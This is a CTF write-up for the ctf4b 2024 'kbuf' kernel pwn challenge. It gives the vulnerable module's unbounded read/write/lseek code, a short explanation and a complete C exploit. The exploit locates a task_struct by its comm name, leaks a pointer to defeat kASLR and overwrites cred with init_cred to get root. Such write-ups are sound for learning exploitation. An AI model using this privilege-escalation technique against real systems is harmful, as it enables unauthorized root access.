tsune Help

kbuf

ctf4b 2024 pwn

challenge

#define DEVICE_NAME "kbuf" #define MEMO_SIZE 0x800 static struct kmem_cache *kbuf_cache = NULL; static int module_open(struct inode *inode, struct file *filp) { filp->private_data = kmem_cache_alloc(kbuf_cache, GFP_KERNEL); return filp->private_data ? 0 : -ENOMEM; } static ssize_t module_read(struct file *filp, char __user *buf, size_t size, loff_t *pos) { if (copy_to_user(buf, filp->private_data + *pos, size)) return -EINVAL; *pos += size; return size; } static ssize_t module_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos) { if (copy_from_user(filp->private_data + *pos, buf, size)) return -EINVAL; *pos += size; return size; } static loff_t module_lseek(struct file *filp, loff_t offset, int orig) { loff_t new_pos = 0; switch (orig) { case 0: // SEEK_SET new_pos = offset; break; case 1: // SEEK_CUR new_pos = filp->f_pos + offset; break; case 2: // SEEK_END new_pos = MEMO_SIZE + offset; break; } return filp->f_pos = new_pos; }

summary

In this challenge, there's oob vulnerability in heap. Since the size of buffer is #define MEMO_SIZE 0x800 and there's no restrict to the bound width, I allocated many task_struct and found one by the comm field, overwrite cred to init_cred.

Also, we can easily to bypass kASLR by just leaking nsproxy field in the task_struct.

exploit

#include <assert.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/prctl.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define COLOR_RESET "\033[0m" #define COLOR_RED "\033[0;31m" #define COLOR_GREEN "\033[0;32m" #define COLOR_YELLOW "\033[0;33m" #define COLOR_BLUE "\033[0;34m" #define COLOR_MAGENTA "\033[0;35m" #define COLOR_CYAN "\033[0;36m" #define PROC_NAME "NKTIDKSG" #define info(fmt, ...) \ printf(COLOR_CYAN "[*] " fmt COLOR_RESET "\n", ##__VA_ARGS__) #define success(fmt, ...) \ printf(COLOR_GREEN "[+] " fmt COLOR_RESET "\n", ##__VA_ARGS__) #define error(fmt, ...) \ printf(COLOR_RED "[-] " fmt COLOR_RESET "\n", ##__VA_ARGS__) #define warning(fmt, ...) \ printf(COLOR_YELLOW "[!] " fmt COLOR_RESET "\n", ##__VA_ARGS__) const char *module = "/dev/kbuf"; unsigned long kbase; unsigned long init_cred; unsigned long modprobe_path; void create_task(void) { info("create_task"); for (int i = 0; i < 10; i++) { if (fork() == 0) { info("fork success"); sleep(10); if (getuid() == 0) { success("win"); system("/bin/ls /root\n"); } exit(1337); } } } void *dump_memory(char *buf) { char *p = buf; for (int i = -0x100; i < 0x100; i += 0x10) { printf("0x%06x |", i); printf(" %lx ", *(unsigned long *)(p + i)); printf(" %lx ", *(unsigned long *)(p + i + 8)); printf("\n"); } } void *search_memory(int fd, char *str) { char buf[0x1000]; u_int64_t offset; for (offset = 0; ; offset += sizeof(buf)) { lseek(fd, offset, SEEK_SET); if (read(fd, buf, sizeof(buf)) != sizeof(buf)) continue; for (size_t j = 0; j < sizeof(buf); j += 0x10) { if (memcmp((void *)(buf + j) ,str, strlen(str)) == 0) { info("comm: %s @ offset: 0x%lx index: 0x%lx", buf + j, offset , j); memcpy(&kbase, buf + j + 0x48, sizeof(unsigned long)); info("kbase: %lx", kbase); kbase = kbase - (0xffffffffaa43dc80 - 0xffffffffa9400000); info("kbase: %lx", kbase); init_cred = kbase + (0xffffffff9323e060-0xffffffff92200000); info("init_cred: %lx", init_cred); dump_memory(buf + j); char payload[0x10]; memcpy(payload, &init_cred, 0x8); memcpy(payload+8, &init_cred, 0x8); lseek(fd, offset+j-0x10, SEEK_SET); write(fd, payload, sizeof(payload)); lseek(fd, offset, SEEK_SET); if (read(fd, buf, sizeof(buf)) != sizeof(buf)) continue; info("cred overwrite"); dump_memory(buf + j); return (void *)(offset + j - 0x5e0); } } } } int init(void) { info("init"); prctl(PR_SET_NAME, PROC_NAME, 0, 0, 0); int fd = open(module, O_RDWR); if (fd < 0) { error("open %s failed", module); exit(1); } return fd; } int main(void) { int fd = init(); create_task(); search_memory(fd, PROC_NAME); }
Last modified: 09 May 2025